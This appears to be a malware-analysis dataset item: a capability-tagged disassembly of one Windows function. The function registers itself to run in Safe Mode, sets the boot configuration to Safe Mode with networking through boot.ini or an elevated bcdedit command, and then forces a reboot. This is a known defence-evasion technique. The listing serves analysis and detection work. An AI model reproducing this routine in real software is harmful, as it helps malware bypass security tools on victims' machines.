Function at 0x14002a520
Capabilities:
Check os version
Create process on windows
Manipulate boot configuration
Query environment variable
Read .ini file
Set file attributes
Set registry value
Shutdown system

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x670]
sub rsp, 0x770
mov rax, qword [0x1401ef010]
xor rax, rsp
mov qword [rbp + 0x660], rax
lea rax, [0x1401efc50]
xor edi, edi
lea r9, [0x1401c7658]
mov dword [rsp + 0x58], edi
lea r8, str.SYSTEMCurrentControlSetControlSafeBoot_s_s
mov qword [rsp + 0x20], rax
mov edx, 0x400
lea rcx, [rbp + 0x260]
call fcn.14002c2c0
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x260]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14002a869
mov rcx, qword [rsp + 0x50]
lea rax, str.Service
mov dword [rsp + 0x28], 8
lea r9d, [rdi + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x780], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x74], 6
mov r8d, __WSAFDIsSet
jae 0x14002a736
lea rdx, [rbp + 0x10]
lea rcx, str.SYSTEMDRIVE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r8, str._boot.ini
mov edx, __WSAFDIsSet
lea rcx, [rbp + 0x10]
call fcn.14013a050
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0xb0]
lea r8, [0x14019526c]
mov dword [rsp + 0x20], __WSAFDIsSet
lea rdx, str.default
lea rcx, str.boot_loader
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov rbx, 0xffffffffffffffff
lea rcx, [rbp + 0xb0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14002a687
test rax, rax
je 0x14002a7f2
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x260]
lea r8, [0x14019526c]
mov dword [rsp + 0x20], 0x200
lea rdx, [rbp + 0xb0]
lea rcx, str.operating_systems
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rax, [rbp + 0x260]
inc rbx
cmp byte [rax + rbx], dil
jne 0x14002a6d3
test rbx, rbx
je 0x14002a7f2
lea r8, str.__safeboot:network
mov edx, 0x200
lea rcx, [rbp + 0x260]
call fcn.14013a050
mov edx, 0x80
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea r9, [rbp + 0x10]
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0xb0]
lea rcx, str.operating_systems
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14002a7f2
lea rdx, [rbp + 0xb0]
lea rcx, str.SystemRoot
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r8, [rbp + 0xb0]
mov edx, 0x104
lea rcx, [rbp + 0x150]
call fcn.140139ff0
lea r8, str._system32_
mov edx, 0x104
lea rcx, [rbp + 0x150]
call fcn.14013a050
lea r8, str.bcdedit.exe
mov edx, 0x104
lea rcx, [rbp + 0x150]
call fcn.14013a050
lea r8, str._set_safeboot_network
mov edx, 0x104
lea rcx, [rbp + 0x260]
call fcn.140139ff0
mov qword [rbp + 0x10], WSACleanup
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x18], rax
lea rax, str.runas
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x260]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x40], edi
mov qword [rbp + 0x48], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rbx, qword [rsp + 0x780]
test eax, eax
je 0x14002a869
lea r8, [rsp + 0x64]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14002a869
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.1401312e0
mov rdi, qword [rsp + 0x788]
add rsp, 0x770
pop rbp
ret